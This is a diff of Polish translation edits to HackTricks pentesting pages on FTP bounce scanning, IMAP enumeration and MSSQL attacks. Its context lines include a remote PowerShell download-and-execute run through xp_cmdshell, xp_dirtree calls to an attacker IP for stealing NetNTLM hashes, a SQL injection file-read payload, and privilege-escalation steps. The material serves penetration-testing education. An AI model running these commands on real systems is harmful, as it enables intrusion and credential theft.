* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,20 +1,20 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,7 +22,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
# FTP Bounce - Skanowanie
|
||||
|
||||
## Manualne
|
||||
## Instrukcja
|
||||
|
||||
1. Połącz się z podatnym FTP
|
||||
2. Użyj **`PORT`** lub **`EPRT`** (ale tylko jedno z nich), aby nawiązać połączenie z _\<IP:Port>_, który chcesz zeskanować:
|
||||
|
@ -40,7 +40,7 @@ Ten sam przykład użycia **`EPRT`** (uwierzytelnienie pominięte na obrazku):
|
|||
|
||||
![](<../../.gitbook/assets/image (226).png>)
|
||||
|
||||
Otwarty port używając `EPRT` zamiast `LIST` (inne środowisko)
|
||||
Otwarty port używając `EPRT` zamiast `LIST` (różne środowisko)
|
||||
|
||||
![](<../../.gitbook/assets/image (228).png>)
|
||||
|
||||
|
@ -52,7 +52,7 @@ nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the interna
|
|||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -64,7 +64,7 @@ nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the interna
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
|
|
@ -10,13 +10,13 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,7 +24,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
## Protokół dostępu do wiadomości internetowych
|
||||
|
||||
**Protokół dostępu do wiadomości internetowych (IMAP)** został zaprojektowany w celu umożliwienia użytkownikom **dostępu do swoich wiadomości e-mail z dowolnej lokalizacji**, głównie za pośrednictwem połączenia internetowego. W zasadzie e-maile są **przechowywane na serwerze** zamiast być pobierane i przechowywane na urządzeniu osobistym użytkownika. Oznacza to, że gdy e-mail jest odczytywany lub przeglądany, dzieje się to **bezpośrednio z serwera**. Ta funkcjonalność pozwala na wygodne sprawdzanie e-maili z **wielu urządzeń**, zapewniając, że żadne wiadomości nie zostaną pominięte, niezależnie od używanego urządzenia.
|
||||
**Protokół dostępu do wiadomości internetowych (IMAP)** został zaprojektowany w celu umożliwienia użytkownikom **dostępu do swoich wiadomości e-mail z dowolnego miejsca**, głównie za pośrednictwem połączenia internetowego. W zasadzie e-maile są **przechowywane na serwerze** zamiast być pobierane i przechowywane na urządzeniu osobistym użytkownika. Oznacza to, że gdy e-mail jest odczytywany lub przeglądany, dzieje się to **bezpośrednio z serwera**. Ta funkcjonalność pozwala na wygodne sprawdzanie e-maili z **wielu urządzeń**, zapewniając, że żadne wiadomości nie zostaną pominięte, niezależnie od używanego urządzenia.
|
||||
|
||||
Domyślnie protokół IMAP działa na dwóch portach:
|
||||
|
||||
|
@ -39,7 +39,7 @@ PORT STATE SERVICE REASON
|
|||
nc -nv <IP> 143
|
||||
openssl s_client -connect <IP>:993 -quiet
|
||||
```
|
||||
### NTLM Auth - Ujawnianie informacji
|
||||
### NTLM Auth - Ujawnienie informacji
|
||||
|
||||
Jeśli serwer obsługuje uwierzytelnianie NTLM (Windows), można uzyskać wrażliwe informacje (wersje):
|
||||
```
|
||||
|
@ -52,11 +52,11 @@ root@kali: telnet example.com 143
|
|||
```
|
||||
lub **zautomatyzuj** to za pomocą wtyczki **nmap** `imap-ntlm-info.nse`
|
||||
|
||||
### [Bruteforce IMAP](../generic-methodologies-and-resources/brute-force.md#imap)
|
||||
### [Brute Force w protokole IMAP](../generic-methodologies-and-resources/brute-force.md#imap)
|
||||
|
||||
## Składnia
|
||||
|
||||
Przykłady poleceń IMAP z [tutaj](https://donsutherland.org/crib/imap):
|
||||
Przykłady poleceń IMAP z [tej strony](https://donsutherland.org/crib/imap):
|
||||
```
|
||||
Login
|
||||
A1 LOGIN username password
|
||||
|
@ -123,7 +123,7 @@ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
|||
```
|
||||
Wynikiem tego wyszukiwania jest lista indeksów wiadomości.
|
||||
|
||||
Możliwe jest również podanie bardziej złożonych warunków wyszukiwania. Na przykład, wyszukiwanie szkiców z hasłem w treści wiadomości:
|
||||
Możliwe jest również podanie bardziej złożonych warunków wyszukiwania, np. wyszukiwanie szkiców z hasłem w treści wiadomości:
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||
```
|
||||
|
@ -135,12 +135,12 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
|||
```
|
||||
Indeks poczty będzie taki sam jak indeks zwrócony z operacji wyszukiwania.
|
||||
|
||||
Można również użyć `UID` (unikalny identyfikator) do dostępu do wiadomości, jednak jest mniej wygodny, ponieważ komenda wyszukiwania musi być ręcznie sformatowana. Na przykład:
|
||||
Można również użyć `UID` (unikalny identyfikator), aby uzyskać dostęp do wiadomości, jednak jest mniej wygodny, ponieważ komenda wyszukiwania musi być ręcznie sformatowana. Na przykład:
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||
```
|
||||
Również możliwe jest pobranie tylko części wiadomości, na przykład tematu i nadawcy pierwszych 5 wiadomości (opcja `-v` jest wymagana, aby zobaczyć temat i nadawcę):
|
||||
Również możliwe jest pobranie tylko części wiadomości, np. tematu i nadawcy pierwszych 5 wiadomości (opcja `-v` jest wymagana do zobaczenia tematu i nadawcy):
|
||||
```bash
|
||||
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
|
||||
```
|
||||
|
@ -158,11 +158,11 @@ done
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Automatyczne Komendy
|
||||
## Automatyczne polecenia HackTricks
|
||||
```
|
||||
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 143,993 #Comma separated if there is more than one.
|
||||
|
@ -198,10 +198,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,13 +10,13 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -34,10 +34,10 @@ Z [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
|||
```
|
||||
### **Domyślne tabele systemowe MS-SQL**
|
||||
|
||||
* **Baza danych master**: Ta baza danych jest kluczowa, ponieważ przechowuje wszystkie szczegóły na poziomie systemu dla instancji serwera SQL.
|
||||
* **Baza danych master**: Ta baza danych jest kluczowa, ponieważ zawiera wszystkie szczegóły na poziomie systemu dla instancji serwera SQL.
|
||||
* **Baza danych msdb**: Agent SQL Servera wykorzystuje tę bazę danych do zarządzania harmonogramem alertów i zadań.
|
||||
* **Baza danych model**: Działa jako wzorzec dla każdej nowej bazy danych na instancji serwera SQL, gdzie wszelkie zmiany takie jak rozmiar, porównywanie, model odzyskiwania i inne są odzwierciedlane w nowo utworzonych bazach danych.
|
||||
* **Baza danych Resource**: Baza danych tylko do odczytu, która przechowuje obiekty systemowe dostarczane wraz z serwerem SQL. Te obiekty, choć przechowywane fizycznie w bazie danych Resource, są logicznie prezentowane w schemacie sys każdej bazy danych.
|
||||
* **Baza danych Resource**: Baza danych tylko do odczytu, która zawiera obiekty systemowe dostarczane wraz z serwerem SQL. Te obiekty, choć przechowywane fizycznie w bazie danych Resource, są logicznie prezentowane w schemacie sys każdej bazy danych.
|
||||
* **Baza danych tempdb**: Służy jako tymczasowe miejsce przechowywania obiektów przejściowych lub tymczasowych zbiorów wyników.
|
||||
|
||||
|
||||
|
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
|||
### Wykonaj polecenia systemowe
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że aby móc wykonywać polecenia, konieczne jest nie tylko włączenie **`xp_cmdshell`**, ale także posiadanie **uprawnienia **EXECUTE na procedurze składowanej `xp_cmdshell`**. Możesz sprawdzić, kto (oprócz administratorów systemu) może używać **`xp_cmdshell`** za pomocą:
|
||||
Zauważ, że aby móc wykonywać polecenia, konieczne jest nie tylko włączenie **`xp_cmdshell`**, ale także posiadanie **uprawnienia DO WYKONYWANIA procedury składowanej `xp_cmdshell`**. Możesz sprawdzić, kto (oprócz administratorów systemu) może używać **`xp_cmdshell`** za pomocą:
|
||||
```sql
|
||||
Use master
|
||||
EXEC sp_helprotect 'xp_cmdshell'
|
||||
|
@ -220,9 +220,9 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
|
|||
# Bypass blackisted "EXEC xp_cmdshell"
|
||||
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
||||
```
|
||||
### Ukradnij hasz NetNTLM / Atak przekazywania
|
||||
### Ukradnij hash NetNTLM / Atak Relay
|
||||
|
||||
Należy uruchomić serwer **SMB**, aby przechwycić użyty hasz w autoryzacji (`impacket-smbserver` lub `responder` na przykład).
|
||||
Należy uruchomić serwer **SMB**, aby przechwycić użyty hash w autoryzacji (`impacket-smbserver` lub `responder` na przykład).
|
||||
```bash
|
||||
xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
|
@ -244,7 +244,7 @@ EXEC sp_helprotect 'xp_fileexist';
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
Za pomocą narzędzi takich jak **responder** lub **Inveigh** można **ukraść hasz NetNTLM**.\
|
||||
Korzystając z narzędzi takich jak **responder** lub **Inveigh**, można **ukraść hasz NetNTLM**.\
|
||||
Możesz zobaczyć, jak używać tych narzędzi w:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||
|
@ -281,7 +281,7 @@ EXECUTE sp_OADestroy @OLE
|
|||
```
|
||||
### **Odczyt pliku za pomocą** OPENROWSET
|
||||
|
||||
Domyślnie `MSSQL` pozwala na odczyt plików **z dowolnego pliku w systemie operacyjnym, do którego konto ma dostęp do odczytu**. Możemy użyć następującego zapytania SQL:
|
||||
Domyślnie `MSSQL` pozwala na **odczyt plików z dowolnego miejsca w systemie operacyjnym, do którego konto ma dostęp do odczytu**. Możemy użyć następującego zapytania SQL:
|
||||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
|
@ -290,13 +290,13 @@ Jednak opcja **`BULK`** wymaga uprawnienia **`ADMINISTER BULK OPERATIONS`** lub
|
|||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
```
|
||||
#### Wektor oparty na błędach do SQLi:
|
||||
#### Wektor oparty na błędach dla SQLi:
|
||||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **Uruchamianie skryptów RCE/Odczyt plików (Python i R)**
|
||||
### **RCE/Odczyt plików wykonujących skrypty (Python i R)**
|
||||
|
||||
MSSQL może umożliwić Ci uruchamianie **skryptów w Pythonie i/lub R**. Ten kod będzie wykonywany przez **innego użytkownika** niż ten używający **xp\_cmdshell** do wykonywania poleceń.
|
||||
MSSQL może umożliwić wykonanie **skryptów w Pythonie i/lub R**. Ten kod będzie wykonywany przez **innego użytkownika** niż ten używający **xp\_cmdshell** do wykonywania poleceń.
|
||||
|
||||
Przykład próby wykonania **'R'** _"Hellow World!"_ **nie działa**:
|
||||
|
||||
|
@ -345,7 +345,7 @@ Dla **więcej przykładów** sprawdź [**oryginalne źródło**](https://blog.wa
|
|||
|
||||
### RCE z funkcją zdefiniowaną przez użytkownika MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
Możliwe jest **załadowanie pliku .NET dll w MSSQL za pomocą niestandardowych funkcji**. Wymaga to jednak **dostępu do `dbo`**, więc potrzebne jest połączenie z bazą danych **jako `sa` lub z rolą Administratora**.
|
||||
Możliwe jest **załadowanie pliku .NET dll w MSSQL za pomocą niestandardowych funkcji**. Wymaga to jednak dostępu `dbo`, więc potrzebne jest połączenie z bazą danych **jako `sa` lub z rolą Administratora**.
|
||||
|
||||
[Kliknij w ten link](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp), aby zobaczyć przykład.
|
||||
|
||||
|
@ -358,7 +358,7 @@ Istnieją inne metody uzyskania wykonania poleceń, takie jak dodawanie [rozszer
|
|||
|
||||
### Od db\_owner do sysadmin
|
||||
|
||||
Jeśli **zwykły użytkownik** otrzyma rolę **`db_owner`** nad **bazą danych należącą do użytkownika admina** (takiego jak **`sa`**) i ta baza danych jest skonfigurowana jako **`trustworthy`**, użytkownik ten może nadużyć tych uprawnień do **eskalcji uprawnień**, ponieważ **procedury składowane** utworzone tam mogą **wykonywać się** jako właściciel (**admin**).
|
||||
Jeśli **zwykłemu użytkownikowi** nadano rolę **`db_owner`** nad **bazą danych należącą do użytkownika admina** (takiego jak **`sa`**) i ta baza danych jest skonfigurowana jako **`trustworthy`**, użytkownik ten może nadużyć tych uprawnień do **eskalcji uprawnień**, ponieważ **procedury składowane** utworzone w niej mogą **wykonywać** się jako właściciel (**admin**).
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
|
@ -420,10 +420,10 @@ SELECT SYSTEM_USER
|
|||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Jeśli możesz podszyć się pod użytkownika, nawet jeśli nie jest on sysadminem, powinieneś sprawdzić, **czy użytkownik ma dostęp** do innych **baz danych** lub serwerów powiązanych.
|
||||
|
||||
Należy zauważyć, że gdy już jesteś sysadminem, możesz podszyć się pod dowolnego innego użytkownika:
|
||||
Jeśli możesz podszywać się pod użytkownika, nawet jeśli nie jest on sysadminem, powinieneś sprawdzić, **czy użytkownik ma dostęp** do innych **baz danych** lub serwerów powiązanych.
|
||||
{% endhint %}
|
||||
|
||||
Należy zauważyć, że będąc sysadminem, możesz podszywać się pod dowolnego innego użytkownika:
|
||||
```sql
|
||||
-- Impersonate RegUser
|
||||
EXECUTE AS LOGIN = 'RegUser'
|
||||
|
@ -448,29 +448,29 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||
|
||||
## Wyodrębnianie haseł z połączonych serwerów SQL Server
|
||||
Atakujący może wyodrębnić hasła do połączonych serwerów SQL Server z instancji SQL i uzyskać je w postaci tekstu jawnego, co umożliwia atakującemu uzyskanie haseł, które można wykorzystać do zdobycia większej przyczółka na celu.
|
||||
Atakujący może wyodrębnić hasła do połączonych serwerów SQL Server z instancji SQL i uzyskać je w postaci czystego tekstu, co umożliwia atakującemu uzyskanie haseł, które można wykorzystać do zdobycia większej przyczółka na celu.
|
||||
Skrypt do wyodrębniania i deszyfrowania haseł przechowywanych dla połączonych serwerów można znaleźć [tutaj](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
|
||||
Aby ten exploit działał, konieczne jest spełnienie pewnych wymagań i konfiguracji.
|
||||
Po pierwsze, musisz mieć prawa Administratora na maszynie lub możliwość zarządzania konfiguracjami serwera SQL.
|
||||
|
||||
Po zweryfikowaniu uprawnień, musisz skonfigurować trzy rzeczy, a mianowicie:
|
||||
Po zweryfikowaniu swoich uprawnień, musisz skonfigurować trzy rzeczy, a mianowicie:
|
||||
1. Włącz protokół TCP/IP na instancjach serwera SQL;
|
||||
2. Dodaj parametr uruchomieniowy, w tym przypadku zostanie dodany flaga śledzenia, która to jest -T7806.
|
||||
3. Włącz zdalne połączenie administrowania.
|
||||
|
||||
Aby zautomatyzować te konfiguracje, [ten repozytorium](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) zawiera niezbędne skrypty.
|
||||
Oprócz skryptu PowerShell dla każdego kroku konfiguracji, repozytorium zawiera również pełny skrypt, który łączy skrypty konfiguracyjne z wyodrębnianiem i deszyfrowaniem haseł.
|
||||
Oprócz posiadania skryptu PowerShell dla każdego kroku konfiguracji, repozytorium zawiera również pełny skrypt, który łączy skrypty konfiguracyjne z wyodrębnianiem i deszyfrowaniem haseł.
|
||||
|
||||
Aby uzyskać więcej informacji, zapoznaj się z poniższymi linkami dotyczącymi tego ataku:
|
||||
[Rozszyfrowywanie haseł serwera łącza bazy danych MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
Aby uzyskać więcej informacji, zapoznaj się z następującymi linkami dotyczącymi tego ataku:
|
||||
[Rozszyfrowywanie haseł serwera łączeniowego bazy danych MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Rozwiązywanie problemów z dedykowanym połączeniem administratora SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## Eskalacja uprawnień lokalnych
|
||||
|
||||
Użytkownik uruchamiający serwer MSSQL będzie miał włączony token uprawnień **SeImpersonatePrivilege.**\
|
||||
Prawdopodobnie będziesz mógł **eskalować do Administratora** zgodnie z jednym z tych 2 przewodników:
|
||||
Prawdopodobnie będziesz mógł **eskalować do Administratora** korzystając z jednej z tych 2 stron:
|
||||
|
||||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||||
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||||
|
@ -495,7 +495,7 @@ Prawdopodobnie będziesz mógł **eskalować do Administratora** zgodnie z jedny
|
|||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
